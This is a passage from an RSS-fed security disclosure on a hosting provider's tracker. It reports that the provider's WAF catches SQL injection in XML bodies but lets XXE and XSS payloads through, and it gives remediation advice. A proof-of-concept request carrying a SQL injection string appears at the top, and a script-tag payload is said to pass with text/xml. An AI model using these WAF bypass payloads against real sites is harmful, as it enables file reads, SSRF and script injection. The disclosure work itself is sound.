```<br />POST /vuln.php <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net<br />Content-Type: application/xml
</p>

<p>
&lt;q&gt;x&#039; OR 1=1– -&lt;/q&gt;<br />```<br />```<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 403 Forbidden<br />Request was blocked by WAF.   (Request ID: 60dbddb…)<br />```
</p>

<p>
### 4) `text/xml`
</p>

<p>
The same `&lt;script&gt;` payload sent with `Content-Type: text/xml` also passes with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200.
</p>

<p>
—
</p>

<p>
## <em class="u">Impact:</em>
</p>

<p>
The WAF&#039;s <acronym title="Extensible Markup Language">XML</acronym> inspection is inconsistent: literal SQLi is caught, but XXE/DOCTYPE declarations and XSS tags are not blocked. Any site that parses <acronym title="Extensible Markup Language">XML</acronym> POST bodies — <acronym title="Simple Object Access Protocol">SOAP</acronym>, <acronym title="Rich Site Summary">RSS</acronym>/Atom ingestion, config import, <acronym title="Extensible Markup Language">XML</acronym>-<acronym title="Remote Procedure Call">RPC</acronym> — behind `waf_profile` is exposed to XXE file read, SSRF, and XSS despite the WAF being active. Combined with FINDING-1, the WAF provides unreliable coverage for the two most common structured-body formats used by modern APIs.
</p>

<p>
—
</p>

<p>
## <em class="u">Recommendations:</em>
</p>

<p>
- Apply the same inspection rules to <acronym title="Extensible Markup Language">XML</acronym> bodies that are applied to <acronym title="Uniform Resource Locator">URL</acronym>-encoded bodies, including DOCTYPE/ENTITY/XXE signatures and embedded tag-based XSS patterns.<br />- The safer long-term fix is to enforce safe <acronym title="Extensible Markup Language">XML</acronym> parsing at the platform level — disabling external entity resolution at the framework layer — rather than relying on signature-based regex inspection alone.<br />- Re-test the full matrix from FINDING-1 and this report after any change is applied.
</p>

<p>
—
</p>

<p>
## <em class="u">Evidence Files:</em> 
</p>
<table class="inline">
	<tr>
		<td> File </td><td> Contents </td>
	</tr>
	<tr>
		<td>—</td><td>—</td>
	</tr>
	<tr>
		<td> `verify_f1_f2.py` </td><td> Re-verification script; live output shown in PoC blocks above </td>
	</tr>
</table>
]]></description>
      <link>https://security.alwaysdata.com/task/454</link>
      <guid>https://security.alwaysdata.com/task/454</guid>
    </item>
      </channel>
</rss>
